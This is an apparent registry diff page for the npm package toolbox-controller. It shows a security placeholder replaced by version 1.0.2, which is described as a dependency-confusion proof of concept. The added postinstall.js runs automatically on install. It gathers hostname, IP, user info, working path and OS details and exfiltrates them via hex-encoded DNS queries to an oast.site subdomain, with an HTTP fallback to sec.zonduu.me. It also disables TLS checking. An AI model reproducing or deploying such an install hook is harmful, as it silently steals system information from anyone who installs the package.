toolbox-controller 0.0.1-security.1 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of toolbox-controller might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "toolbox-controller",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "Proof of concept for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,95 @@
1
+ const fs = require('fs');
2
+ const dns = require('dns');
3
+ const http = require('http');
4
+ const os = require('os');
5
+
6
+ const logFile = '/tmp/postinstall.log';
7
+
8
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
9
+
10
+ try {
11
+ fs.appendFileSync(logFile, `Starting postinstall script\n`);
12
+
13
+ const hostname = os.hostname();
14
+ const packageName = process.env.npm_package_name;
15
+ const packageVersion = process.env.npm_package_version;
16
+ const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
17
+ const currentPath = process.cwd();
18
+ const platform = os.platform();
19
+ const userInfo = os.userInfo();
20
+
21
+ // Operating System Details
22
+ const osDetails = {
23
+ platform: os.platform(),
24
+ release: os.release(),
25
+ arch: os.arch()
26
+ };
27
+
28
+ const data = {
29
+ packageName,
30
+ packageVersion,
31
+ hostname,
32
+ ipAddress,
33
+ currentPath,
34
+ platform,
35
+ userInfo,
36
+ osDetails // Added OS details here
37
+ };
38
+
39
+ fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
40
+
41
+ // Prepare data for DNS exfiltration
42
+ const dnsData = `${packageName}-${hostname}-${ipAddress}`;
43
+ const hexData = Buffer.from(dnsData).toString('hex');
44
+
45
+ // Split hex data into parts fitting within DNS label length limit
46
+ const maxLabelLength = 63;
47
+ const hexDataParts = [];
48
+ for (let i = 0; i < hexData.length; i += maxLabelLength) {
49
+ hexDataParts.push(hexData.substring(i, i + maxLabelLength));
50
+ }
51
+
52
+ // Send each part as a separate DNS query
53
+ hexDataParts.forEach((part, index, arr) => {
54
+ const partIndex = index + 1;
55
+ const totalParts = arr.length;
56
+ const dnsSubdomain = `${part}-${partIndex}-${totalParts}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
57
+ dns.resolve4(dnsSubdomain, (err, addresses) => {
58
+ if (err) {
59
+ fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
60
+ } else {
61
+ fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
62
+ }
63
+ });
64
+ });
65
+
66
+ // HTTP fallback
67
+ const getData = `targetUrl=${encodeURIComponent(JSON.stringify(data))}`;
68
+
69
+ const options = {
70
+ hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
71
+ port: 80, // Replace with the appropriate port
72
+ path: `/callbackplz?${getData}`,
73
+ method: 'GET'
74
+ };
75
+
76
+ const req = http.request(options, (res) => {
77
+ let responseData = '';
78
+ res.on('data', (chunk) => {
79
+ responseData += chunk;
80
+ });
81
+ res.on('end', () => {
82
+ fs.appendFileSync(logFile, `HTTP request completed with status ${res.statusCode}: ${responseData}\n`);
83
+ });
84
+ });
85
+
86
+ req.on('error', (e) => {
87
+ fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
88
+ });
89
+
90
+ req.end();
91
+
92
+ fs.appendFileSync(logFile, `postinstall script finished\n`);
93
+ } catch (e) {
94
+ fs.appendFileSync(logFile, `Error: ${e.message}\n`);
95
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=toolbox-controller for more information.